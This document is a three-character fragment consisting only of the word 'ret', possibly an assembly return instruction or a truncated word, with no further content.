ret